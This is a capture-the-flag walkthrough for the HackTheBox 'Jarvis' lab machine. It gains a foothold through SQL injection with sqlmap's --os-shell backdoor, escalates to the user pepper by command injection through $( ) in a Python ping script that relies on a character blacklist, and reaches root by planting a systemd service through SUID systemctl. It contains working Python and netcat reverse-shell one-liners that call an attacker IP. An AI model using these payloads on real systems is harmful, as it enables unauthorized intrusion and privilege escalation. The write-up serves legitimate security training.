Hack The Box

HackTheBox “Jarvis” Walkthrough

Jarvis, a medium-level Linux OS machine on HackTheBox, entails leveraging a SQL injection vulnerability to establish initial access, capitalizing on a Python script for privilege escalation to the “pepper” user, and…

Jarvis, a medium-level Linux OS machine on HackTheBox, entails leveraging a SQL injection vulnerability to establish initial access, capitalizing on a Python script for privilege escalation to the “pepper” user, and then exploiting the Systemctl binary’s SUID privileges to ultimately elevate privileges to the coveted root level.

HackTheBox “Jarvis” Walkthrough, figure 1

Let’s get started! 🚀

Recon & Enumeration

Let’s use nmap to full scan for open ports and services:

HackTheBox “Jarvis” Walkthrough, figure 2

Visit the target on port 80.

HackTheBox “Jarvis” Walkthrough, figure 3

The subsequent action involves executing a Feroxbuster scan to identify concealed files or directories:

└─$ sudo feroxbuster -u http://10.10.10.143 -n -X 404,403 ___  ___  __   __     __      __         __   ___|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___by Ben "epi" Risher 🤓                 ver: 2.10.0───────────────────────────┬────────────────────── 🎯  Target Url            │ http://10.10.10.143 🚀  Threads               │ 50 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌  Status Codes          │ All Status Codes! 💥  Timeout (secs)        │ 7 🦡  User-Agent            │ feroxbuster/2.10.0 💉  Config File           │ /etc/feroxbuster/ferox-config.toml 💢  Regex Filter          │ 404 💢  Regex Filter          │ 403 🔎  Extract Links         │ true 🏁  HTTP methods          │ [GET] 🚫  Do Not Recurse        │ true───────────────────────────┴────────────────────── 🏁  Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404      GET        9l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter403      GET       11l       32w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301      GET        9l       28w      313c http://10.10.10.143/images => http://10.10.10.143/images/301      GET        9l       28w      309c http://10.10.10.143/js => http://10.10.10.143/js/301      GET        9l       28w      310c http://10.10.10.143/css => http://10.10.10.143/css/200      GET      205l     1368w     8111c http://10.10.10.143/js/jquery.easing.1.3.js200      GET       55l      169w     1410c http://10.10.10.143/js/magnific-popup-options.js200      GET       35l       80w      972c http://10.10.10.143/fonts/flaticon/font/flaticon.css200      GET      286l      482w     6117c http://10.10.10.143/js/main.js200      GET        1l       82w     3630c http://10.10.10.143/css/owl.carousel.min.css200      GET      368l      876w     7781c http://10.10.10.143/css/magnific-popup.css200      GET      292l      840w    11849c http://10.10.10.143/rooms-suites.php200      GET       52l      123w     2315c http://10.10.10.143/css/owl.theme.default.min.css200      GET      275l      703w     6864c http://10.10.10.143/css/flexslider.css200      GET      272l      674w     9304c http://10.10.10.143/dining-bar.php302      GET      101l      231w     3024c http://10.10.10.143/room.php => index.php200      GET        7l      152w     8835c http://10.10.10.143/js/jquery.waypoints.min.js200      GET        4l      317w    15413c http://10.10.10.143/js/modernizr-2.6.2.min.js200      GET        5l      150w    22342c http://10.10.10.143/js/jquery.flexslider-min.js200      GET      512l     1690w    17946c http://10.10.10.143/css/bootstrap-datepicker.css200      GET      543l     1653w    23628c http://10.10.10.143/index.php200      GET      130l      782w    64595c http://10.10.10.143/images/menu-9.jpg200      GET        2l      276w    40401c http://10.10.10.143/js/owl.carousel.min.js200      GET     2334l     3908w    35786c http://10.10.10.143/css/icomoon.css200      GET        7l      430w    36816c http://10.10.10.143/js/bootstrap.min.js200      GET      165l     1079w    94430c http://10.10.10.143/images/menu-4.jpg200      GET     1628l     4730w    46275c http://10.10.10.143/css/style.css200      GET     1671l     4509w    46821c http://10.10.10.143/js/bootstrap-datepicker.js200      GET      196l     1118w    93493c http://10.10.10.143/images/menu-2.jpg200      GET      194l     1176w   111879c http://10.10.10.143/images/menu-3.jpg200      GET        4l      224w    20932c http://10.10.10.143/js/jquery.magnific-popup.min.js200      GET     3351l     7443w    73008c http://10.10.10.143/css/animate.css200      GET      237l     1489w   125548c http://10.10.10.143/images/room-3.jpg200      GET      258l     1722w   145650c http://10.10.10.143/images/room-1.jpg301      GET        9l       28w      312c http://10.10.10.143/fonts => http://10.10.10.143/fonts/301      GET        9l       28w      317c http://10.10.10.143/phpmyadmin => http://10.10.10.143/phpmyadmin/200      GET      308l     1963w   165172c http://10.10.10.143/images/room-2.jpg200      GET      188l     1112w    99142c http://10.10.10.143/images/menu-1.jpg200      GET      279l     1736w   138783c http://10.10.10.143/images/room-4.jpg200      GET      372l     1701w   151284c http://10.10.10.143/images/room-6.jpg200      GET     6257l    14923w   134656c http://10.10.10.143/css/bootstrap.css200      GET      543l     1653w    23628c http://10.10.10.143/[####################] - 75s    30047/30047   0s      found:40      errors:2      [####################] - 75s    30000/30000   402/s   http://10.10.10.143/

A noteworthy discovery includes the presence of “rooms-suites.php.”

HackTheBox “Jarvis” Walkthrough, figure 4

Clicking on one of the rooms gives us an access to /room.php, where a parameter named “cod” contains the respective room number.

HackTheBox “Jarvis” Walkthrough, figure 5

Upon substituting the room’s number with either a quote ( ‘ ) or a comment (--), we observed a 404 response. Consequently, we initiated SQL injection testing on the target using the sqlmap tool, with a shell scan option (--os-shell) as a precautionary measure to potentially gain a shell.

└─$ sudo sqlmap -u http://10.10.10.143/room.php?cod=1 --dbs --batch --os-shell        ___       __H__                                                                                                                                                                                                                                 ___ ___["]_____ ___ ___  {1.7.6#stable}                                                                                                                                                                                                    |_ -| . [']     | .'| . |                                                                                                                                                                                                                   |___|_  [.]_|_|_|__,|  _|                                                                                                                                                                                                                         |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 23:48:31 /2023-07-20/[23:48:31] [INFO] resuming back-end DBMS 'mysql' [23:48:31] [INFO] testing connection to the target URLyou have not declared cookie(s), while server wants to set its own ('PHPSESSID=jbrffg8kph3...brm7veq085'). Do you want to use those [Y/n] Y[23:48:32] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPSsqlmap resumed the following injection point(s) from stored session:---Parameter: cod (GET)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause    Payload: cod=1 AND 6836=6836    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: cod=1 AND (SELECT 9084 FROM (SELECT(SLEEP(5)))sQcx)    Type: UNION query    Title: Generic UNION query (NULL) - 7 columns    Payload: cod=-6476 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b716b71,0x5a6c53785a6975435063496c626c4c5245536d4d656451766852786a68735072536e427a4e417079,0x7162717171),NULL,NULL,NULL-- ----[23:48:32] [INFO] the back-end DBMS is MySQLweb server operating system: Linux Debian 9 (stretch)web application technology: PHP, Apache 2.4.25back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)[23:48:32] [INFO] fetching database names[23:48:32] [INFO] resumed: 'hotel'[23:48:32] [INFO] resumed: 'information_schema'[23:48:32] [INFO] resumed: 'mysql'[23:48:32] [INFO] resumed: 'performance_schema'available databases [4]:                                                                                                                                                                                                                   [*] hotel[*] information_schema[*] mysql[*] performance_schema[23:48:32] [INFO] going to use a web backdoor for command prompt[23:48:32] [INFO] fingerprinting the back-end DBMS operating system[23:48:32] [INFO] the back-end DBMS operating system is Linuxwhich web application language does the web server support?[1] ASP[2] ASPX[3] JSP[4] PHP (default)> 4[23:48:32] [WARNING] unable to automatically retrieve the web server document rootwhat do you want to use for writable directory?[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)[2] custom location(s)[3] custom directory list file[4] brute force search> 1[23:48:32] [INFO] retrieved web server absolute paths: '/images/'[23:48:32] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method[23:48:33] [WARNING] unable to upload the file stager on '/var/www/'[23:48:33] [INFO] trying to upload the file stager on '/var/www/' via UNION method[23:48:33] [WARNING] expect junk characters inside the file as a leftover from UNION query[23:48:34] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)[23:48:34] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method[23:48:35] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpukvbg.php[23:48:35] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbywto.php[23:48:35] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTERos-shell> iddo you want to retrieve the command standard output? [Y/n/a] Ycommand standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

Exploitation:

And we could have a shell using sqlmap, let’s upgrade it to a regular shell by first starting a listener.

HackTheBox “Jarvis” Walkthrough, figure 6

Runing the python reverse shell command below.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4343));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

HackTheBox “Jarvis” Walkthrough, figure 7

Checking our listener.

HackTheBox “Jarvis” Walkthrough, figure 8

And we have a shell, let’s check what privileges we have here.

HackTheBox “Jarvis” Walkthrough, figure 9

And we can can run /var/www/Admin-Utilities/simpler.py as pepper .

Let’s have a look at the content of the simpler.py script.

#!/usr/bin/env python3from datetime import datetimeimport sysimport osfrom os import listdirimport redef show_help():    message='''********************************************************* Simpler   -   A simple simplifier ;)                 ** Version 1.0                                          *********************************************************Usage:  python3 simpler.py [options]Options:    -h/--help   : This help    -s          : Statistics    -l          : List the attackers IP    -p          : ping an attacker IP    '''    print(message)def show_header():    print('''***********************************************     _                 _                        ___(_)_ __ ___  _ __ | | ___ _ __ _ __  _   _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |\__ \ | | | | | | |_) | |  __/ |_ | |_) | |_| ||___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |                |_|               |_|    |___/                                 @ironhackers.es                                ***********************************************''')def show_statistics():    path = '/home/pepper/Web/Logs/'    print('Statistics\n-----------')    listed_files = listdir(path)    count = len(listed_files)    print('Number of Attackers: ' + str(count))    level_1 = 0    dat = datetime(1, 1, 1)    ip_list = []    reks = []    ip = ''    req = ''    rek = ''    for i in listed_files:        f = open(path + i, 'r')        lines = f.readlines()        level2, rek = get_max_level(lines)        fecha, requ = date_to_num(lines)        ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]        if fecha > dat:            dat = fecha            req = requ            ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]        if int(level2) > int(level_1):            level_1 = level2            ip_list = [ip]            reks=[rek]        elif int(level2) == int(level_1):            ip_list.append(ip)            reks.append(rek)        f.close()    print('Most Risky:')    if len(ip_list) > 1:        print('More than 1 ip found')    cont = 0    for i in ip_list:        print('    ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])        cont = cont + 1    print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)def list_ip():    print('Attackers\n-----------')    path = '/home/pepper/Web/Logs/'    listed_files = listdir(path)    for i in listed_files:        f = open(path + i,'r')        lines = f.readlines()        level,req = get_max_level(lines)        print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)        f.close()def date_to_num(lines):    dat = datetime(1,1,1)    ip = ''    req=''    for i in lines:        if 'Level' in i:            fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]            regex = '(\d+)-(.*)-(\d+)(.*)'            logEx=re.match(regex, fecha).groups()            mes = to_dict(logEx[1])            fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]            fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')            if fecha > dat:                dat = fecha                req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]    return dat, reqdef to_dict(name):    month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}    return month_dict[name]def get_max_level(lines):    level=0    for j in lines:        if 'Level' in j:            if int(j.split(' ')[4]) > int(level):                level = j.split(' ')[4]                req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]    return level, reqdef exec_ping():    forbidden = ['&', ';', '-', '`', '||', '|']    command = input('Enter an IP: ')    for i in forbidden:        if i in command:            print('Got you')            exit()    os.system('ping ' + command)if __name__ == '__main__':    show_header()    if len(sys.argv) != 2:        show_help()        exit()    if sys.argv[1] == '-h' or sys.argv[1] == '--help':        show_help()        exit()    elif sys.argv[1] == '-s':        show_statistics()        exit()    elif sys.argv[1] == '-l':        list_ip()        exit()    elif sys.argv[1] == '-p':        exec_ping()        exit()    else:        show_help()        exit()

The exec_ping function of the script does a ping against an input IP address, although certain characters [‘ & ’, ‘ ; ’, ‘ - ’, ‘ ` ’, ‘ || ’, ‘ | ’] are forbidden which might otherwise be exploited to break out of the script and gain unauthorized access:

HackTheBox “Jarvis” Walkthrough, figure 10

Let’s run the script simpler.pyand have a look.

HackTheBox “Jarvis” Walkthrough, figure 11

Privilege Escalation:

The script simpler.py employs user input, and subsequently runs a ping command on the input. As a safeguard against command injection, it scrutinizes the input for potentially harmful characters like &;, -, ||, and |. However, an oversight lies in the failure to account for the dollar sign ($), which can be utilized to execute commands enclosed within $(...). Consequently, this vulnerability enables us to execute arbitrary commands and gain unauthorized access to the system by simply using $(bash).

First, we start a listener.

HackTheBox “Jarvis” Walkthrough, figure 12

Next, we create a reverse shell bash file using the command below:

echo "nc -e /bin/sh 10.10.14.8 4343" > shell.sh

Then, we run the script as the user pepper .

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

And in the field of user’s input we enter the following command:

$(bash /tmp/shell.sh

HackTheBox “Jarvis” Walkthrough, figure 13

Back to our listener.

HackTheBox “Jarvis” Walkthrough, figure 14

And we have a shell with the privileges of the user pepper .

Let’s have a look at the suid binaries using the command below.

find / -perm -4000 2>/dev/null

HackTheBox “Jarvis” Walkthrough, figure 15

So, during our check into GTFOBins, we stumbled upon a trick to exploit suid systemctl, by crafting a new service that can run a specific file when it starts up. Then, using systemctl, we enable and start this service and boom! The designated file executed with powerful root privileges shell.

First we start another listener.

HackTheBox “Jarvis” Walkthrough, figure 16

Now, we create the new service using the commands below with embedding a reverse shell netcat command.

echo "[Service]>[Unit]>Description=root>>[Service]>Type=Simple>user=root>ExecStart=/bin/sh -c 'nc -e /bin/bash 10.10.14.8 4343'>>[Install]>WantedBy=multi-user.target" > priv.service

Subsequently, the recently created service “priv.service” is enabled and initiated.

HackTheBox “Jarvis” Walkthrough, figure 17

Back to our listener.

HackTheBox “Jarvis” Walkthrough, figure 18

And we have a root shell.

Cheers.